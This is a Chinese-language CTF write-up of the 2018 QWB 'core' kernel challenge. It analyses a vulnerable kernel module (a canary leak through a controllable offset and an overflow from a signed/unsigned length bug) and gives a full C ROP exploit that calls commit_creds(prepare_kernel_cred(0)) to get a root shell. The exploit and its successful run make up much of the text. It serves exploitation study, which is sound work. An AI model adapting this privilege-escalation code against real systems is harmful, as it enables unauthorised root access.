前言

转载自 CTF Wiki kernel rop 根据学习情况略有修改

2018 强网杯-core

题目给的vmlinux好像有点问题,ropper出来基地址不一样,请使用下面的extract-vmlinux提取vmlinux

分析

题目给了四个文件: bzImage, core.cpio,start.sh以及vmlinux

其中vmlinux信息如下:

vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=205c9e8b26bc8e0575a11029310d2ac00844f97c, not stripped

静态链接,没有除去符号表。可以认为vmlinux是未经过压缩的kernel文件,而bzImage可以理解未压缩后的文件。具体可以看What is the difference between the following kernel Makefile terms: vmLinux, vmlinuz, vmlinux.bin, zimage & bzimage?

vmlinux未经压缩,因此我们可以从中找到一些gadge以便利用, 这里wiki作者推荐使用Ropper来寻找gadget, 而不是ROPgadget

image-20200720103821745

如果题目没有给vmlinux,可以使用extract-vmlinux来提取

CISCN2017_babydriver ./extract-vmlinux ./bzImage > vmlinux
CISCN2017_babydriver file vmlinux
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=e993ea9809ee28d059537a0d5e866794f27e33b4, stripped

看一下start.sh

image-20200720110459413

发现内核开启kaslr保护

解压core.cpio后,看一下init

➜  give_to_player file core.cpio
core.cpio: gzip compressed data, last modified: Fri Mar 23 13:41:13 2018, max compression, from Unix
➜ give_to_player mkdir core
➜ give_to_player cd core
➜ core mv ../core.cpio core.cpio.gz
➜ core gunzip ./core.cpio.gz
➜ core cpio -idm < ./core.cpio
104379 blocks
➜ core bat init
───────┬─────────────────────────────────────────────────────────────────
│ File: init
───────┼─────────────────────────────────────────────────────────────────
1 │ #!/bin/sh
2 │ mount -t proc proc /proc
3 │ mount -t sysfs sysfs /sys
4 │ mount -t devtmpfs none /dev
5 │ /sbin/mdev -s
6 │ mkdir -p /dev/pts
7 │ mount -vt devpts -o gid=4,mode=620 none /dev/pts
8 │ chmod 666 /dev/ptmx
9 │ cat /proc/kallsyms > /tmp/kallsyms
10 │ echo 1 > /proc/sys/kernel/kptr_restrict
11 │ echo 1 > /proc/sys/kernel/dmesg_restrict
12 │ ifconfig eth0 up
13 │ udhcpc -i eth0
14 │ ifconfig eth0 10.0.2.15 netmask 255.255.255.0
15 │ route add default gw 10.0.2.2
16 │ insmod /core.ko
17 │
18 │ poweroff -d 120 -f &
19 │ setsid /bin/cttyhack setuidgid 1000 /bin/sh
20 │ echo 'sh end!\n'
21 │ umount /proc
22 │ umount /sys
23 │
24 │ poweroff -d 0 -f
───────┴─────────────────────────────────────────────────────────────────
➜ core

其中:

  • 第 9 行中kallsyms的内容保存到了/tmp/kallsyms中,那么我们就能从/tmp/kallsyms中读取commit_creds,prepare_kernel_cred的函数的地址了
  • 第 10 行把kptr_restrict设为 1,这样就不能通过/proc/kallsyms查看函数的地址,但是第 9 行已经把其中的信息保存到了一个可读的文件,这句就无关紧要了
  • 第 11 行把dmesg_restrict设为 1, 这样就不能通过dmesg查看kernel的信息了
  • 第 18 行设置了定时关机, 为了避免做题时产生干扰,直接把这句删掉以后重新打包,方便我们分析

同时发现一个 shell 脚本gen_cpio.sh

➜  core bat gen_cpio.sh
───────┬─────────────────────────────────────────────────────────────────
│ File: gen_cpio.sh
───────┼─────────────────────────────────────────────────────────────────
1 │ find . -print0 \
2 │ | cpio --null -ov --format=newc \
3 │ | gzip -9 > $1
───────┴─────────────────────────────────────────────────────────────────
➜ core

从名称和内容都可以看出这是一个方便打包的脚本,我们修改好init后重新打包,尝试运行 kernel

➜  core nano init
➜ core rm core.cpio
➜ core ./gen_cpio.sh core.cpio
.
./bin
./bin/ash
......
......
./vmlinux
105403 blocks
➜ core ls
bin core.ko gen_cpio.sh lib linuxrc root sys usr
core.cpio etc init lib64 proc sbin tmp vmlinux
➜ core mv core.cpio ..
➜ core cd ..
➜ give_to_player ./start.sh
qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
[ 0.027857] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $

但这时候又遇到了新问题,内核运行不起来,从报错信息中能看到是因为分配的内存过小, start.sh-m分配是64M,修改为128M,就能运行起来了。

image-20200720113020077

对模块进行检查

➜  give_to_player check --file core.ko
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
No RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH core.ko

开启了Canary保护,用 IDA 打开core.ko进行分析

主要函数如下:

  • core_release
  • core_write
  • core_read
  • core_copy_func
  • core_ioctl
  • exit_core

其中:

**init_module()**注册/proc/core

__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk("\x016core: created /proc/core entry\n");
return 0LL;
}

**exit_core()**删除/proc/core

__int64 exit_core()
{
__int64 result; // rax

if ( core_proc )
result = remove_proc_entry("core");
return result;
}

core_ioctl() 定义了三条命令,分别调用 core_read() , core_copy_func() 和设置全局变量 off

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 v3; // rbx

v3 = a3;
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = v3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(v3);
break;
}
return 0LL;
}

core_read()v4[off] 拷贝 64 个字节到用户空间, 但要注意的是全局变量off使我们能够控制的,因此可以合理的控制offleak canary和一些地址

unsigned __int64 __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
__int64 *v2; // rdi
signed __int64 i; // rcx
unsigned __int64 result; // rax
__int64 v5; // [rsp+0h] [rbp-50h]
unsigned __int64 v6; // [rsp+40h] [rbp-10h]

v1 = a1;
v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = &v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 = (__int64 *)((char *)v2 + 4);
}
strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(v1, (char *)&v5 + off, 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}

core_copy_func() 从全局变量name中拷贝数据到局部变量中,长度是由我们指定的,但要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值,就可以栈溢出了

void __fastcall core_copy_func(signed __int64 a1)
{
char v1[64]; // [rsp+0h] [rbp-50h]
unsigned __int64 v2; // [rsp+40h] [rbp-10h]

v2 = __readgsqword(0x28u);
printk("\x016core: called core_writen");
if ( a1 > 63 )
printk("\x016Detect Overflow");
else
qmemcpy(v1, name, (unsigned __int16)a1); // overflow
}

core_write() 向全局变量 name 上写,这样通过 core_write()core_copy_func() 就可以控制 Ropchain

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx

v3 = a3;
printk("\x016core: called core_writen");
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
return (unsigned int)v3;
printk("\x016core: error copying data from userspacen");
return 0xFFFFFFF2LL;
}

思路

经过如上的分析,可以得出以下的思路:

  1. 通过 ioctl 设置 off,然后通过 core_read() leak 出 canary
  2. 通过 core_write() 向 name 写,构造 ropchain
  3. 通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop
  4. 通过 rop 执行 commit_creds(prepare_kernel_cred(0))
  5. 返回用户态,通过 system(“/bin/sh”) 等起 shell

解释:

  • 如何获得 commit_creds(),prepare_kernel_cred() 的地址?
    • /tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址
  • 如何返回用户态?
    • swapgs; iretq,需要设置 cs, rflags 等信息,可以写一个函数保存这些信息
// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

// at&t flavor assembly
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
  • 为什么要这么麻烦返回用户态呢?
    • 我们想做的大多数有用的事情在用户态那里要容易得多
    • 在内核空间里,我们很难:
      • 修改文件系统
      • 创建一个新的进程
      • 创建网络连接

调试

qemu 内置有 gdb 的接口, 可以通过 help 进行查看

➜  qwb2018-core qemu-system-x86_64 --help |grep gdb
-gdb dev wait for gdb connection on 'dev'
-s shorthand for -gdb tcp::1234

即可以通过 -gdb tcp:port 来指定,也可以 -s 来开启默认调试端口,start.sh 中已经有了 -s,不必再自己设置。

另外通过 gdb ./vmlinux 启动时,虽然加载了 kernel 的符号表,但没有加载驱动 core.ko 的符号表,可以通过 add-symbol-file core.ko textaddr 加载

pwndbg> help add-symbol-file
Load symbols from FILE, assuming FILE has been dynamically loaded.
Usage: add-symbol-file FILE ADDR [-readnow | -readnever | -s SECT-NAME SECT-ADDR]...
ADDR is the starting address of the file's text.
Each '-s' argument provides a section name and address, and
should be specified if the data and bss segments are not contiguous
with the text. SECT-NAME is a section name to be loaded at SECT-ADDR.
The '-readnow' option will cause GDB to read the entire symbol file
immediately. This makes the command slower, but may make future operations
faster.
The '-readnever' option will prevent GDB from reading the symbol file's
symbolic debug information.

.text 段的地址可以通过 /sys/modules/core/section/.text 来查看,查看需要 root 权限,因此为了方便调试,我们再改一下 init

# setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh

这样重新用打包以后,启动时就是root权限了

➜  give_to_player ./start.sh
qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
[ 0.024759] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
insmod: can't read '/core.ko': No such file or directory
/ # whoami
root
/ #

接着就可以看.text段的地址了

/ # cat /sys/module/core/sections/.text
0xffffffffc0364000

偏移计算:

➜  core python2
Python 2.7.17 (default, Apr 15 2020, 17:20:14)
[GCC 7.5.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/mnt/d/Users/Lantern/Desktop/note/pwn_note/kernal/linux_kernel_pwn-master/qwb2018-core/give_to_player/core/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
>>>

get root shell

exp:

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("[*] spwan shell error!");
}
exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t vmlinux_base = 0;
size_t find_symbols() {
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

if (kallsyms_fd < 0) {
puts("[*] open kallsyms error!");
exit(0);
}

char buf[0x30] = {0};
while (fgets(buf, 0x30, kallsyms_fd)) {
if (commit_creds & prepare_kernel_cred) {
return 0;
}

if(strstr(buf, "commit_creds") && !commit_creds) {
char hex[20] = {0};
strncpy(hex, buf, 0x10);
sscanf(hex, "%llx", &commit_creds);
printf("[*] commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("[*] vmlinux_base addr: %p\n", vmlinux_base);
}

if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) {
char hex[20] = {0};
strncpy(hex, buf, 0x10);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("[*] prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
printf("[*] vmlinux_base addr: %p\n", vmlinux_base);
}
}

if (!(prepare_kernel_cred & commit_creds)) {
puts("[*] Error!");
exit(0);
}
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
__asm__ (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] status has been saved.");
}

void set_off(int fd, long long idx) {
printf("[*] set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf) {
puts("[*] read to buf.");
ioctl(fd, 0x6677889B, buf);
}

void core_copy_func(int fd, long long size) {
printf("[*] copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main() {
save_status();
int fd = open("/proc/core", 2);
if (fd < 0) {
puts("[*] open /proc/core error!");
}

find_symbols();
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];

printf("[*] canary: %p\n", canary);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 10; i++) {
rop[i] = canary;
}

rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

return 0;
}

完整思路就是用rop链达到执行commit_creds(prepare_kernel_cred(0))以提权目的, 之后用swapgs; iretq返回到用户态
执行用户空间的system("/bin/sh")获取shell

编译:

gcc exploit.c -statoc -masm=intel -g -o exploit

使用 intel 汇编需要加上 -masm=intel

➜  give_to_player cp exploit core/tmp/
➜ give_to_player cd core
➜ give_to_player ./gen_cpio.sh core.cpio
....
➜ give_to_player cp core.cpio ..
➜ give_to_player cd ..
➜ give_to_player ./start.sh
......
/ $ ls /tmp/
exploit kallsyms
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ /tmp/exploit
[*]status has been saved.
commit_creds addr: 0xffffffffbd09c8e0
vmlinux_base addr: 0xffffffffbd000000
prepare_kernel_cred addr: 0xffffffffbd09cce0
[*]set off to 64
[*]read to buf.
[+]canary: 0x6be486f377bb8600
[*]copy from user with size: -65280
/ # id
uid=0(root) gid=0(root)